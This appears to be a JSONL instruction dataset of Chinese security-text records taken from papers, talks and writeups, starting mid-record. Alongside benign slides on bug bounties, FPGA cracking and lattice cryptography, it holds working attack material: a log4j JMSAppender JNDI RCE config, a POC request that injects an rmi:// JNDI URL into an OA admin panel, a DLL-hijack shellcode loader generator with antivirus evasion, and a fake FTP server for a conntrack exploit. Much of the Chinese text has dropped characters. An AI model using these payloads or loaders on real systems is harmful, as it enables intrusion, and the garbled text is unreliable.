JMSAppender 的 RCE log4j log4j 1.2.17 org.apache.activemq 然后在resource 录下新建 log4j.properties 件内容如下 最后新建 Log4jJMSAppenderTest.java 件内容如下 可以看到项的所到的主要依赖是 log4j 1.2.17 版本然后为了满条件要求后会说具体什么条件 引了最新版的 activemq 依赖 然后如果直接运 main 函数可以直接触发 RCE activemq-broker 5.16.3 log4j.rootLogger=INFO, stdout, jms log4j.logger.org.apache.activemq=INFO, stdout log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern=%d %-5p %c - %m%n log4j.appender.jms=org.apache.log4j.net.JMSAppender log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitia lContextFactory log4j.appender.jms.ProviderURL=tcp://localhost:61616 log4j.appender.jms.TopicBindingName=jmsTest log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://127.0.0.1:1389/erqtcd import Logger; import NamingException; class Log4jJMSAppenderTest { public static void main(String[] args) throws NamingException { // 通常情况下会动加载 Log4j 的配置件如果不能动加载可以取消注释下代码 // PropertyConfigurator.configure( \"/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties\" ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class); logger.error(\"error\"); } } JAVA org.apache.log4j. javax.naming. 原理很简单log4j 有个名为Appenders的功能Appender 通常只负责将事件数据写标指定的区域 如数据库JMS 代理等 当检测到 log4j.properties 配置件中存在指定的 Appender 时会动进相应的功能逻辑 如假设配置了 log4j.appender.file=org.apache.log4j.FileAppender 那么会进 FileAppender.java 中的 activateOpt", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSecurity is a Neverending Story CEO Luta Security Inc @lutasecurity @k8em0 Katie Moussouris Were Going to Need More than Luck Who the FSCK Are You? What is it you do here? Founder & CEO Luta Security Former Microsoft Security Strategist Former Hacker for Hire ISO Standards Editor New America Foundation Fellow MIT Sloan Visiting Scholar Harvard Belfer Affiliate Cyber Arms Control Re- Negotiator Every Story Has A Beginning Hacker for Hire Learning Empathy Dont Let the Rain Get You Down HAS SECURITY BUGS ALL CODE This Guy is Onto Something Thanks https://twitter.com/virturity/status/799242892082429953 @k8em0 @lutasecurity Im a Hacker and Im Here to Help History of Vulnerability Disclosure and Bug Bounty Programs Vulnerability Disclosure vs. Bug Bounty Programs Vulnerability Disclosure Ensures that organizations are ready to handle vulnerability reports. Follows the ISO standards for vulnerability disclosure (ISO 29147) and vulnerability handling processes (ISO 30111). 94% of the Forbes 2000 companies dont have this in place Bug Bounty Programs Some organizations and governments choose to offer cash rewards for bugs. Some do it alone (e.g. Microsoft), while the majority choose a bug bounty service provider to help. Bug Bounties can work in large and small organizations, with some prep & help Bug Bounty vs Penetration Testing And Bug Bounty Service Providers Thanks Jason! http://www.slideshare.net/bugcrowd/how-do-i-shot-web-jason-haddix-at-defcon-23 Bug Bounty Service Providers At a glance BugCrowd HackerOne Synack The Easy Button for Triage Platform for Power Users Secret Squirrels Great if you need triage support, less so if you dont want triage outside your companys eyes only Great if you want automation for your own vulnerability handling, less so if you lack the internal talent to use it Great if you want a crowd-sourced penetration test under NDA, less so if you need a broader pool of eyes From Microsoft to the Pentagon AKA: From No Way! to Ok, for Pay!", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n自动化生成器 前面核心的内容跑通了后面自动化生成就是理所当然的这方面没什么困难的就是注意一下加一些 对抗的东西比如生成的源码里面的字符串全部加密用于加解密shellcode的key全部随机化生成将 源码一起打包并告诉编译方式这样即使生成的dll被杀了也没关系自己改改又可以继续了 一些核心功能 收集一些白加黑文件制作成模板 解析白文件pe将shellcode写入证书目录 根据模板来生成劫持dll 自动调用go命令进行编译 自动打包成zip 里面最麻烦的就是自动编译因为服务器是linux而要生成windows的程序并且在go里面使用了 cgo不可避免的要使用交叉编译器了 找了找资料用mingw-w64 https://www.mingw-w64.org/downloads/ 可以编译linux编译器在它下 面有很多linux的二进制直接就能拿来用但是找了半天没发现centos的用yum也没发现包 最后找到了https://bugzilla.redhat.com/show_bug.cgi?id=1807975 官方将它给移除掉了但也没说 替代方案 尝试自己编译源码download: https://sourceforge.net/projects/mingw-w64/ 尝试了下后面就放弃了编译完估计得占用几个G空间让本就不充裕的服务器雪上加霜更重要的是 尝试进行编译的第一步我就失败了github上有一些可以自动编译的脚本但看了下源码它得翻墙下 载一些东西而服务器上翻墙太麻烦 最后把目光锁向了dockergithub有个项目可以很好的满足我的要求 https://github.com/x1unix/dock er-go-mingw 用了一下发现很好用学习成本也很低于是开开心心的就去把自动编译集成到docker上最后测 试发现还是失败 找其原因是这个项目基于的alpine只能支持64位的编译 于是我给官方提了一个issue https://github.com/x1unix/docker-go-mingw/issues/14 官方也很快就回复了我 要编译成32位需要修改 cc 为32位的编译器 很快官方出了一个基于 apline linux/386 的项目我测试后发现在mac下仍然存在问题 于是在星球上发帖说了下被阻挡在了交叉编译上 但是 @李文致 发给我了一个dockerfile完美解决了docker上交叉编译的问题李文致的版本基于 debian在它的基础上直接apt装编译器非常简单有效 根据它的dockerfile我改了下 FROM golang:1.16 RUN echo \"deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free\">/etc/apt/sources.list &&\\ echo \"deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free\" >>/etc/apt/sources.list &&\\ 已经可以解决我的问题 后续https://github.com/x1unix/docker-go-mingw 也换成了基于debian的golang镜像并且也支持 了x86 x64的交叉编译环境 增强对抗 之前改写入口点死循环使用了下面死循环的汇编代码 但是发现CPU占用会很大 于是想着加个sleep但是这样shellcode里就得调用api函数比较麻烦 于是想了一招在dllmain里面获取sleep的地址写到shellcode的地址上 具体就是先 再用汇编写个模板可以将shellcode直接写进去的 echo \"deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free\" >>/etc/apt/sources.list &&\\ echo \"deb https://mirrors.tuna.tsinghua.edu.cn/debian-security/ buster/updates main contrib non-free\" >>/etc/apt/sources.list &&\\ apt update -y && apt install gcc-mingw-w64-i686 gcc-mingw-w64-x86-64 -y && apt autoclean && apt clean RUN mkdir -p /go/work ENV PATH=/go/bin:$PATH \\ CGO_ENABLED=1", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTeaching Hacking at College Sam Bowne Computer Networking and Information Technology City College San Francisco New Class at CCSF Hacking is Built into Our Program Why Teach Hacking? Lectures aren't enough Students need hands-on labs Practice attack and defense Hacking is new and exciting Even professional network admins don't know hacking Isn't Teaching Hacking Dangerous? Criminal hackers don't go to college to learn it The good guys need to learn it too Discussing the issues openly is better than forcing students to learn it outside class Level of Course Prerequisites: Network+ and Security+ No programming We don't create exploits We just use existing tools, like \"script kiddies\" Each project shows vulnerability, attack, and defense The Hacking Lab Host systems: Windows XP, 1 GB RAM, 2.2 GHz Pentium 4 20 GB System drive, 80 GB drive for VMs Each student has a folder with three VMware virtual machines Windows XP Windows 2000 Pro Ubuntu Linux Internet Connection A single ZyXel router connects the lab to the Internet Upstream bandwidth throttled to 128 kbps To protect the Net from the lab Warnings Each student signed a \"Code of Ethics\" agreement Warnings posted in lab and on screens at boot-up Student Assistants Student volunteers monitored the lab, and had keys The lab became a hangout for hackers None of the equipment was broken or stolen Morale was high Projects: Attacks Metasploit Taking Over a Windows 2000 box from Windows XP Taking over a locked Windows 2000 box from Linux Performing a Denial of Service attack on a Web Server with Nmap Rootkitting Ubuntu Linux (and fixing it) Basic Website hacking with HackThisSite.org Projects: Finding Vulnerabilities Port Scanning with Nmap Analyzing Port Scans with Wireshark Testing Firewalls NetBIOS Null Sessions Nessus Vulnerability Scanner Microsoft Baseline Security Analyzer (MBSA) Winfingerprint Projects: Stealing Passwords Ettercap Software and Hardware Keyloggers Ophcrack ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDEFCON 2007 David Hulton Chairman, ToorCon Security R&D, Pico Computing, Inc. Researcher, The OpenCiphers Project Faster PwninG Assured: New Adventures with FPGAs DEFCON 2007 2007 The OpenCiphers Project Overview FPGAs Quick Intro New Cracking Tools! (Since ShmooCon) BTCrack Bluetooth Authentication WinZipCrack WinZip AES Encryption New to 2007! (Since Last Defcon) VileFault Mac OS-X FileVault jc-aircrack WEP (FMS) Works in Progress Conclusions DEFCON 2007 2007 The OpenCiphers Project FPGAs DEFCON 2007 2007 The OpenCiphers Project FPGAs DEFCON 2007 2007 The OpenCiphers Project FPGAs Quick Intro Chip with a ton of general purpose logic ANDs, ORs, XORs FlipFlops (Registers) BlockRAM (Cache) DSP48s (ALUs) DCMs (Clock Multipliers) DEFCON 2007 2007 The OpenCiphers Project FPGAs Virtex-4 LX25 DEFCON 2007 2007 The OpenCiphers Project FPGAs Virtex-4 LX25 IOBs (448) DEFCON 2007 2007 The OpenCiphers Project FPGAs Virtex-4 LX25 IOBs Slices (10,752) DEFCON 2007 2007 The OpenCiphers Project FPGAs Virtex-4 LX25 IOBs Slices DCMs (8) DEFCON 2007 2007 The OpenCiphers Project FPGAs Virtex-4 LX25 IOBs Slices DCMs BlockRAMs (72) DEFCON 2007 2007 The OpenCiphers Project FPGAs Virtex-4 LX25 IOBs Slices DCMs BlockRAMs DSP48s (48) DEFCON 2007 2007 The OpenCiphers Project FPGAs Virtex-4 LX25 IOBs Slices DCMs BlockRAMs DSP48s Programmable Routing Matrix (~18 layers) DEFCON 2007 2007 The OpenCiphers Project Bluetooth PIN Cracking Pairing bluetooth devices is similar to wifi authentication Why not crack the bluetooth PIN? Uses a modified version of SAFER+ SAFER+ inherently runs much faster in hardware Attack originally explained and published by Yaniv Shaked and Avishai Wool Thierry Zoller originally demonstrated his implementation at hack.lu DEFCON 2007 2007 The OpenCiphers Project Bluetooth PIN Cracking How it works Capture a bluetooth authentication (sorry, requires an expensive protocol analyzer) Thi", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n'\\\" t .TH \"BUSCTL\" \"1\" \"\" \"systemd 231\" \"busctl\" .\\\" ----------------------------------------------------------------- .\\\" * Define some portability stuff .\\\" ----------------------------------------------------------------- .\\\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\\\" http://bugs.debian.org/507673 .\\\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\\\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \\n(.g .ds Aq \\(aq .el .ds Aq ' .\\\" ----------------------------------------------------------------- .\\\" * set default formatting .\\\" ----------------------------------------------------------------- .\\\" disable hyphenation .nh .\\\" disable justification (adjust text to left margin only) .ad l .\\\" ----------------------------------------------------------------- .\\\" * MAIN CONTENT STARTS HERE * .\\\" ----------------------------------------------------------------- .SH \"NAME\" busctl \\- 内省与监视 D\\-Bus 总线 .SH \"SYNOPSIS\" .HP \\w'\\fBbusctl\\fR\\ 'u \\fBbusctl\\fR [OPTIONS...] [COMMAND] [\\fINAME\\fR...] .SH \"描述\" .PP \\fBbusctl\\fR 可用于内省与监视 D\\-Bus 总线 .SH \"选项\" .PP 能够识别的命令行选项如下 .PP \\fB\\-\\-address=\\fR\\fB\\fIADDRESS\\fR\\fR .RS 4 连接到 \\fIADDRESS\\fR 指定的总线 而不是默认的总线(无论是 \\fB\\-\\-system\\fR 系统总线还是 \\fB\\-\\-user\\fR 用户总线) .RE .PP \\fB\\-\\-show\\-machine\\fR .RS 4 在使用 \\fBlist\\fR 命令显示总线上的所有 peer 列表时 额外显示一个\"MACHINE\"列指明其所属容器的名称参见 \\fBsystemd-machined.service\\fR(8) 手册 .RE .PP \\fB\\-\\-unique\\fR .RS 4 在使用 \\fBlist\\fR 命令显示总线上的所有 peer 列表时仅显示 \":\\fInumber\\fR\\&.\\fInumber\\fR\" 格式的\"唯一名\"(UniqueName) .RE .PP \\fB\\-\\-acquired\\fR .RS 4 在使用 \\fBlist\\fR 命令显示总线上的所有 peer 列表时与 \\fB\\-\\-unique\\fR 选项正好相反 仅显示\"易读名\"(well\\-known name) .RE .PP \\fB\\-\\-activatable\\fR .RS 4 在使用 \\fBlist\\fR 命令显示总线上的所有 peer 列表时 仅显示当前未被激活并且可以在被访问时自动激活的 peer .RE .PP \\fB\\-\\-match=\\fR\\fB\\fIMATCH\\fR\\fR .RS 4 在使用 \\fBmonitor\\fR 命令监视已交换的消息时 仅显示与 \\fIMATCH\\fR 匹配的消息 参见 \\fBsd_bus_add_match\\fR(3) .RE .PP \\fB\\-\\-size=\\fR .RS 4 在使用 \\fBcapture\\fR 命令捕获已交换的消息时 指定允许捕获的最大消息尺寸(\"snaplen\") 默认值是 4096 字节 .RE .PP \\fB\\-\\-list\\fR .RS", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBefore the FEDERAL COMMUNICATIONS COMMISSION Washington, DC 20554 In the Matter of ) ) Unlicensed Operation in the TV Broadcast ) ET Docket No. 04-186 Bands ) ) ET Docket No. 02-380 Additional Spectrum for Unlicensed Devices ) Below 900 MHz and in the 3 GHz Band ) To: The Commission JOINT COMMENTS OF THE ASSOCIATION FOR MAXIMUM SERVICE TELEVISION, INC. AND THE NATIONAL ASSOCIATION OF BROADCASTERS TABLE OF CONTENTS EXECUTIVE SUMMARY .........................................................................................................iii I. THROUGHOUT THIS PROCEEDING THE COMMISSION MUST UPHOLD ITS COMMITMENT TO THE DIGITAL TELEVISION TRANSITION................ 2 II. CERTAIN MINIMUM PROTECTIONS MUST BE ADOPTED BEFORE ALLOWING TV BAND DEVICES TO OPERATE IN THE BROADCAST SPECTRUM...................................................................................................................... 5 III. THE INTERFERENCE HARMS POSED BY TV BAND DEVICES ARE NOT ADEQUATELY ADDRESSED IN THE FNPRM. ....................................................... 8 A. Any Operation By A TV Band Device On A Co-Channel Basis Will Cause Interference For Miles...................................................................................................... 9 B. The Current Sensing Proposals Are Inadequate To Protect Against Co-Channel Interference. .................................................................................................................... 10 1. The Proposal Of A -116 dBm Sensing Level Is Insufficient To Protect Incumbent Services......................................................................................................................... 11 2. The Comparison Of The Use Of Spectrum Sensing In The 5 GHz Band With The Current Situation Is Misplaced. ................................................................................ 13 C. Any Operation of a TV Band Device On A Television Stations First Adjacent Channel Will Harm Reception. ................", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nJava安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas以前没接触过借此机会学习一波 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目旨在为 Web 应用系统提供一种可靠的单点登录方法CAS 在 2004 年 12 月正式成为 JA-SIG 的一个项目开源的企业级单点登录解决方案 0x02 远程调试环境搭建 下载地址,将环境war包下载部署到tomcat即可 tomcat目录bin文件下 startup_debug.bat call %EXECUTABLE%\" start %CMD_LINE_ARGS% 改为 IDEA中设置Remote远程调试5005即可完成 0x03 漏洞分析 漏洞详情 4.1.7版本之前存在一处默认密钥的问题利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏 洞进而执行任意命令 影响版本 Apereo CAS <= 4.1.7 感觉上和Shiro的 550有点类似 解析流程分析 看web.xml得知该项目基于Spring MVC开发 上图请求路径是 /login 的这里来直接找login的处理方法进行跟踪 set JPDA_TRANSPORT=dt_socket set JPDA_ADDRESS=5005 set JPDA_SUSPEND=n call \"%EXECUTABLE%\" jpda start %CMD_LINE_ARGS% 从web.xml中可见交给了 DispatcherServlet 去处理 这时候可以查看springmvc的配置文件 cas-servlet.xml 注意 loginHandlerAdapter 这个配置的bean其中的属性有 supportedFlowId 的值为\"login\"同时 属性flowExecutor-ref的引用值为 loginFlowExecutor 再看 loginFlowExecutor 这个bean中所配置的登录流程属性引用值就是我们webflow上下文配置中的 loginFlowRegistry 这个属性 因此我们来看一下 loginHandlerAdapter 这个bean对应的类为 org.jasig.cas.web.flow.SelectiveFlowHandlerAdapter 所起的作用是如何来处理登录动作的 先来看一下这个类的父类 org.springframework.webflow.mvc.servlet.FlowHandlerAdapter 这 个是Springmvc中的一个类 FlowHandlerAdapter 实现接口 HandlerAdapter 而 SelectiveFlowHandlerAdapter 继承自 FlowHandlerAdapter SelectiveFlowHandlerAdapter 类在 cas-server-webapp-actions 模块下的 org.jasig.cas.web.flow 包下 因此Spring的DispatcherServlet找到要处理的 handleAdapter 是 SelectiveFlowHandlerAdapte 并 且根据地址http://localhost:8080/cas/login?service=XXX得到handler的flowId=\"login\"即流程 loginFlowRegistry 然后进入下面的handle方法开始调取流程 当有登录请求时spring则会调用该 org.jasig.cas.web.flow.SelectiveFlowHandlerAdapter 跟进 this.flowUrlHandler.getFlowExecutionKey(request) 可见该方法会获取请求中的 execution 参数 而后会进行调用 this.executionRepository.parseFlowExecutionKey(flowExecutionKey); 获取到 key 跟进查看 可见从 execution 参数后分割UUID和 _ 后面部分而后面部分进行base64解密对返回id和data进 行赋值然后返回 ClientFlowExecutionKey 对象 下面调用 this.executionRepository.getFlowExecution(key); 将刚刚获取到的 ClientFlowExecutionKey 对象即key变量传递跟进 这地方进行了数据的反序列化操作先来看到构造方法使用 AES/CBC/PKCS7 加密方式并且密钥使用 默认的密钥进行加密 而在解密后还会对数据进行解压缩 GZIPInputStream 处理后进行反序列化 漏洞复现与利用 根据以上数据解析分析我们", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n### CVP概述 CVP是Lattice-based cryptography中尤为重要的一个问题 问题的基本定义如下给定格$L$的一组基与向量$\\mathbf{v}$找到在$L$上离$\\mathbf{v}$最近的一个向量 ### Babai's nearest plane algorithm介绍 该算法输入一组格$L$(秩为$n$)的基$B$和一个目标向量$\\mathbf{t}$输出CVP问题的近似解 * 近似因子为$\\gamma = 2{\\frac{n}{2}}$ * 其中$c_j$为Gram-schmidt正交化中的系数取整也即$proj_{b_{j}}(b)$的取整 对于该算法第二步的个人理解在格基规约和正交化过后的基$B$中找到一个最靠近$\\mathbf{t}$的线性组合 ### Babais Rounding Technique介绍 该算法是`Babai's nearest plane algorithm`的一个变种 步骤可以表示为 ``` N = rank(B), w = target - B' = LLL(B) - Find a linear combination [l_0, ... l_N] such that w = sum(l_i * b'_i). * (b'_i is the i-th vector in the LLL-reduced basis B') - Round each l_i to it's closest integer l'_i. - Result v = sum(l'_i * b'_i) ``` ### Hidden number problem介绍 HNP的定义如下 给定质数$p$许多$t \\in \\mathbb{F}_p$以及每一个对应的$MSB_{l,p}(\\alpha t)$找出对应的$\\alpha$ * $MSB_{l,p}(x)$表示任一满足 $\\lvert (x \\mod p) - u \\rvert \\le \\frac{p}{2{l+1}}$ 的整数 $u$近似为取$x \\mod p$的$l$个最高有效位 根据参考3中的描述当$l \\approx \\log{\\frac{1}{2}}{p}$时有如下算法可以解决HNP 我们可以将此问题转化为一个由该矩阵生成的格上的CVP问题 $\\left[ \\begin{matrix} p & 0 & \\dots & 0 & 0 \\\\ 0 & p & \\ddots & \\vdots & \\vdots \\\\ \\vdots & \\ddots & \\ddots & 0 & \\vdots \\\\ 0 & 0 & \\dots & p & 0 \\\\ t_1 & t_2 & \\dots & t_{n} & \\frac{1}{2{l+1}} \\end{matrix} \\right]$ 我们需要找到在格上离$\\mathbf{u}=(u_1, u_2, \\dots, u_{n}, 0)$最近的向量所以在这里我们可以采用`Babai's nearest plane algorithm`最终我们可以得到一组向量 $\\mathbf{v}=(\\alpha \\cdot t_1 \\mod p, \\alpha \\cdot t_2 \\mod p, \\dots, \\frac{\\alpha}{2{l+1}})$从而算出 $\\alpha$", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDSCTF WriteUp By Nu1L DSCTF WriteUp By Nu1L Crypto picproblem approximate RAS-330 Pwn fuzzerinstrospector Re catchme FFunction Misc Muti Operations Web pingpingping easy_tou Crypto picproblem from math import sqrt from numpy import array, zeros, uint8 import cv2 image = cv2.imread('encflag.jpg') imagearray = array(image) height, width, _ = imagearray.shape P = 152499380767419384190482151255394637996737469827829605515820669958508347281748972149386 271161591540732631566067054180175361690003977280272892522609147586068968287155564124150 018389239751303797118670912362907758420422608452481167379498468784017877205254544124292 749290258354735556552553866483651658972194298057709542156188687392863433064097980004057 406021887278721242663020250811848426955398339917915548958331640010765556422245343746272 474909726512230064493671743415133163309258514018351034936942252744026474684397283492786 006557855783615079869053017269467951423172261382224681001013000532403249236088953155380 383239860456308825641048186524377121699060316699319893535847183132839561847797412682476 256087233759499739421823442705039965527084838599508858642052688639732094935098040693620 021711204097143366032217907228843884296495756871903679432020311626332962358933936749730 314093807033455734583422608518914085826438806374518983358496282550984327967882624055848 0527560 Q = 144974785760548835346080059675412116045004097684551930165850975100610036892637453087023 174291792239067432699807208947124014006634368316951997771667232583833232880189156177352 470797718066692597287113650243525462092611802610357250167553054026631032284308722771634 556793732059662255302266706271253907460229391573739859730440609795755839632518038087485 681488398060156530605953365870145579216484383748607826241099837323269013706670885203243 320911762799081847175287904146825978855342576982002242510264451197524255607780638723630 376832471330616731367331247218403195050108364738578247240257973651044843267327677509991 40514638349792795122862652761359414695123", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n蓝某OA后台JNDI命令执 前段时间发了套组合利到xmldecoder反序列化的但是后拿到源码看了下 前台和后台的管理员账户不是个密码可能只是运好前后台了同个密 码 之前就有说过后台有JNDI且提供测试链接需保存操作 OA使的是带的jdk1.7. 可以直接使上的Payload进jndi注 EXP具:https://github.com/welk1n/JNDI-Injection-Exploit 使1.7地址 然后直接点击测试链接就可以: POC POST /admin.do HTTP/1.1 Host: adderss Connection: close Connection: close Content-Length: 61 sec-ch-ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\", \"Google Chrome\";v=\"90\" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: */* Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: LtpaToken=; JSESSIONID=9A9692B5AC5ABEB779C4F77244E73362 method=testDbConn&datasource=rmi://ip:port/sxoevq", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSamsung Pay: Tokenized Numbers, Flaws and Issues Salvador Mendoza July 7, 2016 Introduction Samsung Pay is a new method to make purchases over the latest line of Samsung smartphones devices. The goal is to implement mst technology mainly in every purchase. However, Samsung Pay could use nfc technology as well. Samsung implements a new sophisticated alphanumeric algorithm called tokenization. Partner with card providers like Visa, Mastercard and others, Samsung embraced the VTS framework(Visa Token Service) to push its ambitious project. If you are a Samsung Pay user, you do not even think about the new markets goals that this company is planning. Such as online purchases or customizable memberships. Samsung made a step forward in the electronic market. As result, its purchase process is very interesting. So every time when people add a card at their Samsung Pay, the system generates a new virtual random CC implementing the framework which assigns a token to each card. This process is based in another package: Spayfw. That token is saved in a Token Vault somewhere relating the original PAN information. So in each transaction instead of using the original CCs data, the system sends a tokenized number: a new card number with some parameters in the tracks. The main idea behind this is that if someone is able to get a token, he/she will not be able to reuse or extract the original CCs information. Analyzing Spay Before I started digging into the apk, I needed to take a look at the Spays databases to have a better understanding of its complexity. I started playing with the terminal and adb command, first I backed up the data of Samsung Pay: adb backup com.samsung.android.spay f sbackup.ab Decompress it using openssl with zlib support or dd with python. dd if=sbackup.ab bs=24 skip=1 | openssl zlib d > sbackup.tar [Or Python with zlib support.] dd if=sbackup.ab bs=1 skip=24 | python c \"import zlib,syssys.stdout.write(zlib.decompress(sys.stdin.read()))\" | tar xvf If we o", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1\" MODERN MALWARE: OBFUSCATION AND EMULATION DEF\"CON\"CHINA\"1.0\"(2019)\" DEF CON CHINA 1.0 (2019) by Alexandre Borges ALEXANDRE\"BORGES\"\"MALWARE\"AND\"SECURITY\"RESEARCHER\" DEF\"CON\"CHINA\"1.0\"(2019)\" 2\" ü Malware and Security Researcher. \" ü Speaker at DEFCON USA 2018 ü Speaker at HITB 2019 Amsterdam ü Speaker at CONFidence Conf. 2019 ü Speaker at BSIDES 2018/2017/2016 ü Speaker at H2HC 2016/2015 ü Speaker at BHACK 2018 ü Consultant, Instructor and Speaker on Malware Analysis, Memory Analysis, Digital Forensics and Rookits. \" ü Reviewer member of the The Journal of Digital Forensics, Security and Law.\" ü Referee on Digital Agenda: \" v Introduction v Anti-reversing v METASM v MIASM v TRITON v Radare2 + MIASM v DTRACE on Windows v Anti-VM v Conclusion ALEXANDRE\"BORGES\"\"MALWARE\"AND\"SECURITY\"RESEARCHER\" ALEXANDRE\"BORGES\"\"MALWARE\"AND\"SECURITY\"RESEARCHER\" \"INTRODUCTION DEF\"CON\"CHINA\"1.0\"(2019)\" 3\" ALEXANDRE\"BORGES\"\"MALWARE\"AND\"SECURITY\"RESEARCHER\" DEF\"CON\"CHINA\"1.0\"(2019)\" 4\" ü Every single day we handle malware samples that use several known packers such as ASPack, Armadillo, Petite, FSG, UPX, MPRESS, NSPack, PECompact, WinUnpack and so on. For most of them, it is easy to write scripts to unpack them. ü We also know the main API functions, which are used to create and allocate memory such as: ü VirtualAlloc/Ex( ) ü HeapCreate( ) / RtlCreateHeap( ) ü HeapReAlloc( ) ü GlobalAlloc( ) ü RtlAllocateHeap( ) ü Additionally, we know how to unpack them using debuggers, breakpoints and dumping unpacked content from memory. Furthermore, pe-sieve from Hasherezade is excellent. J ü When we realize that the malware use some customized packing techniques, it is still possible to dump it from memory, fix the ImageAddress field using few lines in Python and its respective IAT using impscan plugin to analyze it in IDA Pro: ü export VOLATILITY_PROFILE=Win7SP1x86 ü python vol.py -f memory.vmem procdump -p 2096 -D . --memory (to keep slack space) ü python vol.py -f memory.vmem impscan --output=idc ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#BHUSA @BlackHatEvents DirectX: The New Hyper-V Attack Surface Zhenhao Hong (@rthhh17) Ziming Zhang (@ezrak1e) #BHUSA @BlackHatEvents Information Classification: General whoami Zhenhao Hong (@rthhh17) Security Specialist of Ant Group Light-Year Security Lab 2019-2020 MSRC Most Valuable Security Researchers Black Hat USA 2021 Speaker Ziming Zhang (@ezrak1e) Security researcher of Ant Group Light-Year Security Lab 2021 Tianfu Cup Windows project winner 2021 Q2/Q4 Microsoft Most Valuable Security Researchers #BHUSA @BlackHatEvents Information Classification: General Agenda ①Hyper-V DirectX Component Architecture ②How to Config ③Attack Surface ④Vulnerabilities details ⑤Fuzz is necessary ⑥Conclusion and Black Hat Sound Bytes #BHUSA @BlackHatEvents Information Classification: General Agenda ①Hyper-V DirectX Component Architecture ②How to Config ③Attack Surface ④Vulnerabilities details ⑤Fuzz is necessary ⑥Conclusion and Black Hat Sound Bytes #BHUSA @BlackHatEvents Information Classification: General Intro In 2020, Hyper-V introduced a new feature of GPU- Paravirtualization. This technology is integrated into WDDM (Windows Display Driver Model) and all WDDMv2.5 or later drivers have native support for GPU virtualization. New features mean new attack surfaces. #BHUSA @BlackHatEvents Information Classification: General WDDM Architecture https://docs.microsoft.com/en-us/windows-hardware/drivers/display/images/dx10arch.png #BHUSA @BlackHatEvents Information Classification: General Hyper-V DirectX Component Architecture Hypervisor (Ring -1) User Mode Kernel Mode Linux VM Windows Host VMBUS (hv_vmbus.ko) DirectX LKM (dxgkrnl.ko) Application /dev/dxg vmcall Application Runtime Component UserMode Driver VMBUS Component DirectX graphics kernel subsystem (dxgkrnl.sys) DirectX graphics MMS (dxgmms1.sys & dxgmms2.sys) GPU driver vmcall #BHUSA @BlackHatEvents Information Classification: General WDDM Data Flow Hypervisor (Ring -1) User Mode Kernel Mode Linux VM Windows Host VMBU", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nbypass NAT tcp #!/usr/bin/env python # -*- coding: utf-8 -*- # # Fake ftp server code for conntrack exploit # # This software is in the public domain, furnished \"as is\", without technical # support, and with no warranty, express or implied, as to its usefulness for # any purpose. # # Author: Roman Tsisyk # # Please read README file first! # This server gets PORT request from client, checks if ip address matched # a real cleint adddress and tries to connect. It emulates ftp sometimes, but # its not realy necessary for our needs, just for a smart firewalls and logs # import sys, logging,os from SocketServer import ThreadingTCPServer, ThreadingMixIn, BaseRequestHandler # # Main server class # class BackConnectServer(ThreadingMixIn, ThreadingTCPServer): # logger log = None; # # Main handler # class BackConnectHandler(BaseRequestHandler): def __init__(self, request, client_address, server): self.log = server.log; self.test302 = 0; BaseRequestHandler.__init__(self, request, client_address, server); def setup(self): self.log.info('%s:%s connected', *self.client_address); #self.request.send('220 vsFTPd ready.\\n'); def check(self, ip, port): self.log.info('%s: probing %s:%s', self.client_address, ip, port); # # connect to this port using external program and do smth # os.system('nmap -sT %s -p %s'%(ip, port)); #return True; if connection established return False; def handle(self): data = True; while data: data = 